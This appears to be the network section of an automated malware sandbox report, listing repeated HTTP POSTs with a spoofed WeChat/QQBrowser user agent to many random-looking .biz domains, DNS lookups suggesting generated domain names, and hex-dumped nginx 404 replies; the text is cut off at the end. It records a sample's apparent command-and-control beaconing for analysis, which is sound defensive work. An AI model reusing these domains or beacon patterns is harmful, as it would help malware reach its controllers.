Source: global traffic	HTTP traffic detected: POST /njcutqqomylrvfpa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xccjj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /ekoxclx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xccjj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /eofbr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: hehckyov.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /ny HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: rynmcq.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /syrmjsg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /dyeprbeyhvxqi HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /xwl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: eufxebus.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /qhpr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pwlqfu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /lx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: rrqafepng.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /dpaslnrfmhydrsi HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ctdtgwag.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /ralc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tnevuluw.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /alftwojos HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: whjovd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /lltrpsppuyaqfwe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: whjovd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /ebtlfunmljyaysos HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gjogvvpsf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /ornvyatmtd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gjogvvpsf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /wtg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: reczwga.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /mvllksybj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: bghjpy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /bdgjgjfetlyy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: damcprvgv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /xrujxccjxeybqwu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ocsvqjg.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /anssi HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ywffr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /dikyrvexwmkqbu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ecxbwt.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /emxm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pectx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /tpqwrpyl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zyiexezl.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /awjdluu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: banwyw.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /pmqdwnqfxl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: wxgzshna.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: pywolwnvd.biz
Source: global traffic	DNS traffic detected: DNS query: ssbzmoy.biz
Source: global traffic	DNS traffic detected: DNS query: cvgrf.biz
Source: global traffic	DNS traffic detected: DNS query: npukfztj.biz
Source: global traffic	DNS traffic detected: DNS query: przvgke.biz
Source: global traffic	DNS traffic detected: DNS query: zlenh.biz
Source: global traffic	DNS traffic detected: DNS query: knjghuig.biz
Source: global traffic	DNS traffic detected: DNS query: uhxqin.biz
Source: global traffic	DNS traffic detected: DNS query: anpmnmxo.biz
Source: global traffic	DNS traffic detected: DNS query: lpuegx.biz
Source: global traffic	DNS traffic detected: DNS query: vjaxhpbji.biz
Source: global traffic	DNS traffic detected: DNS query: xlfhhhm.biz
Source: global traffic	DNS traffic detected: DNS query: ifsaia.biz
Source: global traffic	DNS traffic detected: DNS query: saytjshyf.biz
Source: global traffic	DNS traffic detected: DNS query: vcddkls.biz
Source: global traffic	DNS traffic detected: DNS query: fwiwk.biz
Source: global traffic	DNS traffic detected: DNS query: tbjrpv.biz
Source: global traffic	DNS traffic detected: DNS query: deoci.biz
Source: global traffic	DNS traffic detected: DNS query: gytujflc.biz
Source: global traffic	DNS traffic detected: DNS query: qaynky.biz
Source: global traffic	DNS traffic detected: DNS query: bumxkqgxu.biz
Source: global traffic	DNS traffic detected: DNS query: dwrqljrr.biz
Source: global traffic	DNS traffic detected: DNS query: nqwjmb.biz
Source: global traffic	DNS traffic detected: DNS query: ytctnunms.biz
Source: global traffic	DNS traffic detected: DNS query: myups.biz
Source: global traffic	DNS traffic detected: DNS query: oshhkdluh.biz
Source: global traffic	DNS traffic detected: DNS query: yunalwv.biz
Source: global traffic	DNS traffic detected: DNS query: jpskm.biz
Source: global traffic	DNS traffic detected: DNS query: lrxdmhrr.biz
Source: global traffic	DNS traffic detected: DNS query: wllvnzb.biz
Source: global traffic	DNS traffic detected: DNS query: gnqgo.biz
Source: global traffic	DNS traffic detected: DNS query: jhvzpcfg.biz
Source: global traffic	DNS traffic detected: DNS query: acwjcqqv.biz
Source: global traffic	DNS traffic detected: DNS query: lejtdj.biz
Source: global traffic	DNS traffic detected: DNS query: vyome.biz
Source: global traffic	DNS traffic detected: DNS query: yauexmxk.biz
Source: global traffic	DNS traffic detected: DNS query: iuzpxe.biz
Source: global traffic	DNS traffic detected: DNS query: sxmiywsfv.biz
Source: global traffic	DNS traffic detected: DNS query: vrrazpdh.biz
Source: global traffic	DNS traffic detected: DNS query: ftxlah.biz
Source: global traffic	DNS traffic detected: DNS query: typgfhb.biz
Source: global traffic	DNS traffic detected: DNS query: esuzf.biz
Source: global traffic	DNS traffic detected: DNS query: gvijgjwkh.biz
Source: global traffic	DNS traffic detected: DNS query: qpnczch.biz
Source: global traffic	DNS traffic detected: DNS query: brsua.biz
Source: global traffic	DNS traffic detected: DNS query: dlynankz.biz
Source: global traffic	DNS traffic detected: DNS query: oflybfv.biz
Source: global traffic	DNS traffic detected: DNS query: yhqqc.biz
Source: global traffic	DNS traffic detected: DNS query: mnjmhp.biz
Source: global traffic	DNS traffic detected: DNS query: opowhhece.biz
Source: global traffic	DNS traffic detected: DNS query: zjbpaao.biz
Source: global traffic	DNS traffic detected: DNS query: jdhhbs.biz
Source: global traffic	DNS traffic detected: DNS query: mgmsclkyu.biz
Source: global traffic	DNS traffic detected: DNS query: warkcdu.biz
Source: global traffic	DNS traffic detected: DNS query: gcedd.biz
Source: global traffic	DNS traffic detected: DNS query: jwkoeoqns.biz
Source: global traffic	DNS traffic detected: DNS query: xccjj.biz
Source: global traffic	DNS traffic detected: DNS query: hehckyov.biz
Source: global traffic	DNS traffic detected: DNS query: rynmcq.biz
Source: global traffic	DNS traffic detected: DNS query: uaafd.biz
Source: global traffic	DNS traffic detected: DNS query: eufxebus.biz
Source: global traffic	DNS traffic detected: DNS query: pwlqfu.biz
Source: global traffic	DNS traffic detected: DNS query: rrqafepng.biz
Source: global traffic	DNS traffic detected: DNS query: ctdtgwag.biz
Source: global traffic	DNS traffic detected: DNS query: tnevuluw.biz
Source: global traffic	DNS traffic detected: DNS query: whjovd.biz
Source: global traffic	DNS traffic detected: DNS query: gjogvvpsf.biz
Source: global traffic	DNS traffic detected: DNS query: reczwga.biz
Source: global traffic	DNS traffic detected: DNS query: bghjpy.biz
Source: global traffic	DNS traffic detected: DNS query: damcprvgv.biz
Source: global traffic	DNS traffic detected: DNS query: ocsvqjg.biz
Source: global traffic	DNS traffic detected: DNS query: ywffr.biz
Source: global traffic	DNS traffic detected: DNS query: ecxbwt.biz
Source: global traffic	DNS traffic detected: DNS query: pectx.biz
Source: global traffic	DNS traffic detected: DNS query: zyiexezl.biz
Source: global traffic	DNS traffic detected: DNS query: banwyw.biz
Source: global traffic	DNS traffic detected: DNS query: muapr.biz
Source: global traffic	DNS traffic detected: DNS query: wxgzshna.biz

Source: unknown

HTTP traffic detected: POST /uiymjppob HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 792

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:39:25 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:39:26 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:39:36 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and 